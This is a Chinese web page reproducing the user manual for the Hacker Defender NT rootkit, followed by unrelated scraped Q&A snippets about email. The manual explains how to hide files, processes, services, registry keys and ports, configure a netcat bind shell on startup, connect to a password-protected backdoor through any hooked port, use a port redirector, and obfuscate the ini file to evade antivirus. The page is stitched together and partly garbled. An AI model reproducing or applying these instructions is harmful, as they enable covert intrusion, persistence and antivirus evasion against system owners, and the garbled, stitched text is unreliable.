肯定是一个字 :学,连代码的基础都没有,那就先从了解软件, *** ,服务器开始吧。只有了解了本质结构才有能力去攻破!
Hacker defender 使用
=====[1,目录]==============================================
1.
目录
2. 概要
2.1 关于
2.2 申明
3. 使用说明
4. Ini文件说明
5.
Backdoor
5.1 Redirector
6. 技术支持
6.1 版本
6.2
钩子API函数
6.3 已知的 bugs
7. Faq
8. 文件
=====[ 2.
关于]================================================
Hacker defender
(hxdef)是一个使用于Windows NT 4.0, Windows 2000 以及Windows
XP操作系统的一个NTROOKIT,它也能运行于之后的基于NT的操作系统。主要代码是由DELPHI
6完成。新的功能使用汇编书写。驱动代码由C完成。后门和redirector *** 端大部分使用 Delphi 6完成。
=====[ 2.1 概要
]=============================================
程序的主要功能是在所有运行中的进程中重写分割内存,重写一些基本的模块改变进程的状态,它几乎能够改写所有不影响系统稳定和正在运行中的进程。
程序能够完全隐藏,现在能够做的有隐藏文件、进程、系统服务、系统驱动、注册表的键值和键、开放端口以及虚构可用磁盘空间。程序同时也在内存中伪装它所做的改动,并且隐蔽地控制被隐藏进程。程序安装后能构造后门、注册表、系统服务,构造系统驱动。其本身的后门技术允许其植入
redirector。
=====[ 2.2
申明]====================================================
本项目1.0.0版本是开发源代码。
使用Hacker
defender所造成的后果作者本人概不负责。
=====[ 3. 用法
]==================================================
一个使用hxdef的简单例子:
hxdef100.exe [inifile]
或者
hxdef100.exe [switch]
直接执行EXE文件,不带任何的参数时候,默认的inifile文件为程序名.ini
。
当你执行hedef100不指定ini文件,或者你以参数模式运行时候,默认的文件是
hxdef100.ini。
下面的参数是有效的:
-:installonly - 只安装服务,不运行
-:refresh - 从INI文件中更新设置
-:noservice - 正常运行不安装服务
-:uninstall -
移除hxdef删除所有运行的后门连接,同时停止hxdef服务
例如:
hxdef100.exe
-:refresh
Hxdef拥有默认INI文件,但是我们强烈的推荐你建立自己的ini文件。关于ini文件的介绍可以看第4部分ini文件部分。
参数
-:refresh and -:uninstall
来源于本来的EXE文件。这就意味这你只要知道hxdef的运行路径和EXE名,就能够改变它的设置或者进行移除工作。
=====[ 4. Ini文件
]============================================
ini文件必须包含了9个部分: [Hidden Table],
[Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues],
[Startup Run], [Free Space], [Hidden Ports]和[Settings]。
在 [Hidden Table],
[Root Processes], [Hidden Services]和[Hidden RegValues]
中能够使用*代替后面的字符,星号仅仅使用于字符的后面,任何在*之前的都是无效的。所有的在字符之前和之后的空格也是无效的。
例如:
[Hidden
Table]
hxdef*
将开始隐藏所有在Hidden
Table中以"hxdef"开头的文件、文件夹和系统进程。
在该文件列表中的所有文件和文件夹都将在文件管理器中消失。在这个列表中的程序也会在任务管理器中被隐藏。必须确保主要文件,INI文件,你的后门文件和驱动文件被包含在列表中。
在程序列表中的主进程对感染具有免淤能力,你只能利用这些主程序才能看见隐藏的文件,文件夹和程序。所以,主进程是为rootkit管理员所使用的。
由服务和驱动所组成的Hidden
Services列表将会隐藏在数据库中的安装服务和驱动。rootkit主程序的服务名默认为HackerDefender100,rootkit驱动的驱动名默认为HackerDefenderDrv100。它们两者都可以通过ini文件进行修改。
Hidden
RegKeys中列出的注册表键值将会被隐藏,Rootkit在注册表中有四个键值:默认的是HackerDefender100,
LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100
如果你要重新命名服务名或者驱动名,你需要在列表中做相应的改变。
开始2个键值是和你的服务据用相同名字的,接下来的键值是LEGACY_名字。例如,如果你改变你的服务名称为BoomThisIsMySvc
,那么在注册表中,应该是这样表示的,LEGACY_BOOMTHISI *** YSVC。
在Hidden
RegValues列出的注册表的值将会被隐藏。
Startup
Run列表中列出的是rootkit程序运行之后的自启动程序。这些程序和ROOTKIT具有一样的特权。程序名和它后面的参数以?分开。不要使用"字符,程序将会在用户登陆以后终止,在用户登陆以后可以使用一般和常见的 *** 。你可以使用下面这些快捷方式。
%cmd%标准系统的shell和路径
%cmddir%标准系统的shell文件夹
%sysdir%
- 系统文件夹
(e.g. C:\winnt\system32\)
%windir% -
标准系统文件夹
(e.g. C:\winnt\)
%tmpdir% - 临时文件夹
(e.g. C:\winnt\temp\)
例如:1)
[Startup Run]
c:\sys\nc.exe?-L -p
100 -t -e cmd.exe
nc-shell将会在rootkit运行以后监听100端口
2)
[Startup
Run]
%cmd%?/c echo Rootkit started at %TIME%
%tmpdir%starttime.txt
将rootkit启动时间保存在系统临时文件夹夹starttime。Txt文件。
(%TIME%仅仅运行于Windows2000以上的操作系统。)
Free
Space中列出的驱动硬盘名和容量大小是你想增加的硬盘,它的格式是X:NUM,其中X表示磁盘驱动器的名称,NUM表示你要增加的磁盘的容量。
例如:
[Free
Space]
C:123456789
这将在C盘增加大约123M的磁盘空间。
Hidden
Ports中列出的是你需要隐藏程序的端口,比如使用OpPorts, FPort, Active Ports, Tcp
View等的程序,它最多拥有2行。第1行的格式是TCP:tppport1,tcpport2,tcpport3
,第2行的格式是UDP:udpport1,udpport2,udpport3 ...例如:
1)
[Hidden
Ports]
TCP:8080,456
这将隐藏2个TCP端口:8080和456
2)
[Hidden
Ports]
TCP:8001
UDP:12345
这将隐藏2个端口:TCP的8001和UDP的12345。
3)
[Hidden
Ports]
TCP:
UDP:53,54,55,56,800
隐藏5个端口,都为UDP端口:53,54,55,56,800。
Settings包含了8个值:Password,
BackdoorShell, FileMappingName, ServiceName,ServiceDisplayName,
ServiceDescription, DriverName 和
DriverFileName。
名。
16位字符的Password被用于后门链接和转向,密码能根据短一些,余下的用空格代替。
BackdoorShell是复制于系统的SHELL文件,它被后门创建于一个临时的目录下。
FileMappingName,当钩子进程被存储时,用于共享内存。
ServiceName是rootkit服务
ServiceDisplayName为rootkit显示的服务
ServiceDescription位rootkit的服务描述
DriverName以hxdef驱动命名
DriverFileName以hxdef驱动文件命名
例如;
[Settings]
Password=hxdef-rulez
BackdoorShell=hxdef?.exe
FileMappingName=_.-=[Hacker
Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service
100
ServiceDescription=powerful NT
rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
这就意味着你的后门密码为hxdef-rulez,后门将复制系统shell文件(通常是CMD.EXE)为hxdef?.exe到临时目录。共享内存将变为"_.-=[Hacker
Defender]=-._",服务名为"HackerDefender100",它显示的名称为"HXD Service 100",它的描述为"poweful NT
rootkit",驱动名为"HackerDefenderDrv100",驱动将被存储于一个叫做"hxdefdrv.sys"的文件中。
扩展字符|,
, , :, \, / 和 "在所有的行中都会被忽略,除了[Startup Run], [Free Space] 和 [Hidden
Ports] 项目和在 [Settings] 中first =
character后面的值。使用扩展字符能然你的INIFILE文件摆脱杀毒软件的查杀。
例如:
Example:
[Hidden
Ta/"ble]
h"xdef"*
和下面的是一样的。
[Hidden
Table]
hxdef*
更多的例如可以参照hxdef100.ini
和hxdef100.2.ini文件。
所有的在ini文件中的字符串除了那些在Settings 和 Startup
Run中的,都是无效的。
=====[ 5. Backdoor
]=========================================
Rootkit程序
Hook了一些API的功能,连接接收一些来自 *** 的数据包。如果接收的数据等于256个字节,密码和服务被确认,复制的SHELL被临时创建,这种情况建立以后,下一次的数据接收被重定向到这个SHELL上。
因为rootkit程序
Hook了系统中所有进程,所有在服务器上的TCP端口都将变为后门。例如,如果目标主机开放了提供HTTP服务的80端口,这个端口也能作为一个有效的后门。例外的是这个开放端口的进程不会被Hook,这个后门仅仅工作于服务器的接收缓冲大于或者等于256个字节。但是这个特征几乎适合于所有标准的服务,像IIS,APACHE,ORACLE等。后门能够隐藏是因为所有的数据都通过系统上面提供的服务转发。所以你不能使用一些简单的端口扫描软件找到它,并且它能轻易的穿过防火墙。
在测试发现IIS服务过程中,HTTP服务不能记录任何的连接日记,FTP和 *** TP服务器仅仅能记录结束的断开连接。所以,如果你运行hxdef在有IIS
Web服务的服务器上面,HTTP端口跟你是连接机器使用的后门的更好端口。
如果你想连接后门的话,你将不得不使用使用一些特别的客户端,程序bdcli100.exe就是被用于如此的。
用法:bdcli100.exe
host port password
例如:
bdcli100.exe 80
hxdef-rulez
连接服务器使用默认的密码。客户端1.0.0版本不兼容其他老的版本。
=====[
5.1 Redirector
]==========================================
Redirector是基于后门技术。之一个连接包和后门连接一样。这就意味着你能使用相同的端口。下一个包是仅仅为Redirector特殊的包,这些包由基于运行用户电脑的重定向器生成.之一个重定向的包连接特定的目标主机和端口。
Redirectors的设置保存在与EXE文件同名的INI文件中(所以默认的是rdrbs100.ini)。如果这个文件不存在,那么在EXE文件运行的时候它会自动建立一个。更好不要额外的修改INI文件。所有的设置都可以在console中进行改变。
当ROOTKIT被安装时,如果我们需要使用服务器上面的redirectors功能,我们首先要在本地运行程序。在控制台上我们可以在有HXDEF的服务器上面建立一个映射端口路由。最后我们连接本地端口并且转换数据。转向的数据被rootkit的密码加密。在这个版本中连接的速度被限制在256K左右。在这个版本中redirectors并不适合于高速连接。Redirectors也会受到安装有rootkit的服务器的限制,而且Redirectors仅仅使用TCP协议连接。在这个版本中Redirectors
base有19条命令,他们并不是非常的敏感。关于功能的详细描述可以使用HELP命令。在Redirectors
base启动时,startup-list中的命令也被执行。startup-list中的命令可以用使用SU启动的CMD进行编辑。
Redirector区分于2种连接类型(HTTP和其他)。如果连接是其他类型的,数据包将不会被改变。如果是HTTP类型,在HTTP文件头的HOST参数将会改变为目标服务器。一个base的更大Redirector数量是1000。
Redirector仅仅适用于NT结构,只有在拥有图标的NT程序下你才能使用HIDE命令隐藏控制台。只有在NT下才能无声无息的运行,没有数据输出,没有图标,仅仅执行startup-list中的命令。例子:1)得到端口映射信息
MPINFO
No mapped ports in the
list.
2)增加MPINFO命令到startup-list并且得到startup-list中的命令。
SUADD
MPINFO
sulist
0) MPINFO
3)使用HELP命令。
HELP
Type HELP COMMAND for command details.
Valid commands
are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD,
DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT,
TEST
HELP ADD
Create mapped port. You have to specify domain
when using HTTP
type.
usage: ADD LOCAL PORT MAPPING
SERVER MAPPING SERVER PORT
TARGET
SERVER
TARGET SERVER PORT PASSWORD [TYPE] [DOMAIN]
HELP
EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT
[DIS]
4)增加端口映射,我们在本地100端口进行监听,ROOTKIT安装在服务器200.100.2.36的80端口上,目标服务器是端口。,rootkit的密码是bIgpWd,连接类型HTTP,目标主机()我们知道它的IP地址是216.239.53.100。
ADD 100
200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP
ADD命令可以不加任何参数的运行,在这个例子中我们要求每一个参数都要分开。
5)现在我们再使用MPINFO检查一下映射端口
MPINFO
There are 1 mapped ports in the list. Currently 0 of them
open.
6)列举端口映射表:
LIST
000)
:100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
7)一个端口映射的详细描述:
DETAIL
Listening on port: 100
Mapping server address:
200.100.2.36
Mapping server port: 80
Target server address:
216.239.53.100
Target server port: 80
Password: bIgpWd
Port
type: HTTP
Domain name for HTTP Host:
Current state:
CLOSED
8)在没有密码的情况下,我们能在端口映射服务器200.100.2.36上测试rootkit是否已经安装(但是如果我们能确认它这样做就不再需要)
TEST 0
Testing 0) 200.100.2.36:80:bIgpWd –
OK
如果测试失败则显示:
Testing 0) 200.100.2.36:80:bIgpWd -
FAILED
9)在我们没使用之前端口仍然是没有开放的。我们不得不使用OPEN命令打开它,当端口开放时,我们也能使用CHOSE命令关闭端口。我们能使用标志符ALL应用这些命令在列表中的所有端口,这个过程可能需要一段的时间。
OPEN 0
Port number 0 opened.
CLOSE 0
Port number 0
closed.
或者 OPEN ALL
Port number 0
opened.
10)要保存当前的设置和列表我们可以使用SAVE命令,将保存所有的设置到ini文件中。(保存也会通过命令EXIT执行,而不需要DIS标志)
SAVE Saved
successfully.
开的端口能够转换我们需要的所有数据。限制你能打开你喜欢的浏览器输入网址,如果没有什么问题的话,你会看见打开的是的主页。
之一个数据包跟你会延迟5秒钟左右,但是其他的限制仅仅取决于服务器的速度,根据这个版本的转向技术,你联网的速度大约在256K左右。
=====[
6.
技术发行]========================================
这部分包含了一些对于普通用户无关紧要的信息。这部分可能适合所有的测试者和开发人员阅读
1.世界上的技术是人类发明出来的,但并不是说人家就有义务给你免费分享
2.不要老是抱怨没有高手教你,你应该看到你自己本身的程度提出的问题是不是值得人家花时间,你的时间宝贵人家也是
3.更好的学习地方是论坛上,人家已经发出来的帖子还有整集整集的资料,你没有资格去要求人家重新再告诉你一次,如果让你把一句话重复给几万个人听你也会不愿意的
4.用一个软件入侵成功就叫自己黑客或者红客的人那是弱智,等于有位智者说的之一个吃螃蟹的人是勇者,第二个是弱智
5.学好基础的东西,c语言是每个黑客必须掌握的语言,这个是前辈的教训我们得听,但是学习一门语言光学不够还要自己动手做,不要老是沉溺于a b c i j k n m加来减去,有很多优秀的源代码在论坛的资料库里等着你
6.记住一句话,学技术先学做人!科学技术是一把双刃刀,杀人救人取决于所用之人,如果你想跟全世界为敌,可以,你先自己称称自己的重量
从上往下,有很多路线不一定一开始就接触编程。
想要自学成为一名黑客的话,首先你有对 *** 以及精神设备是有基本掌握的能力,然后可以通过对应的编程代码像比如说,Java跟html都是一个学习的方向,当你对这些基础代码了解之后也是可以慢慢的去自学。
上面的这段代码主要用于文件操作(文件目录),指针、结构、条件编译等都包含其中。既然你已经学过了C/C++的基础,应该不难看懂。你之所以看不明白,我想主因应该是你对#ifdef这些语句的作用不甚明了,建议你静下心来,把代码认真地多看几遍,相信你会慢慢地看懂它。 另外,学编程需要心如止水,一个浮躁的人是很难写出优秀的代码的,浮躁只会让你失去对代码的感知能力。还需要有超强的毅力,因为编程本身就是一项枯燥繁琐的工作。 认真地多看几遍代码,直至你看懂为止,这就是一种 *** 。 个人看法,希望能对你有所帮助。
QQ邮箱怎么阻止别人发邮件过来啊 直接在qq邮箱中设置黑名单即可。1.登录QQ邮箱,点击页面中的设置标签,进入设置页面。2.点击顶部菜单栏中“反垃圾”选项。3.点击:设置邮件地址黑名单。4.在文本框内...
谁能帮我列下美国前20大学的Admissions的email地址 一、 最佳综合性大学 1、 普林斯顿大学 2、 哈佛大学 3、 耶鲁大学 4、 加州理工学院 5、 斯坦福大学...
关于考研联系导师的问题~大家帮我看看老师回的邮件,这是什么意思啊... 1、是出于礼貌。欢迎你的意思。在我国目前的硕士研究生招生中,导师不起作用的,将来导师带谁,怎么带,很多情况都不是自己说的算。如果...
如何将一个邮箱里的邮件大量的转到另一个新的邮箱里呀 将一个邮箱里的大量邮件,转到另一个新的邮箱里,方法是:1、打开邮箱。2、选择收信。3、把所有邮件全部选中。4、点击转发。5、填写收件人(新邮箱)。6...
mihoyo死邮怎么解决 mihoyo死邮怎么解决?分析如下:1、miHoYo账号可以绑定你个人的邮箱,当忘记密码或者修改密码时可以通过邮箱操作。死邮就是该账号绑定的邮箱不是你的,或者邮箱忘记密码等无...
注册或绑定的邮箱用emai|格式是怎么填写? 1、书写格式:用户标识符+@+域名,如xxxx@qq.com、xxxx@16com “@”在电邮应用中意义为“at”,即“某用户”在“某服务器”。“@”在...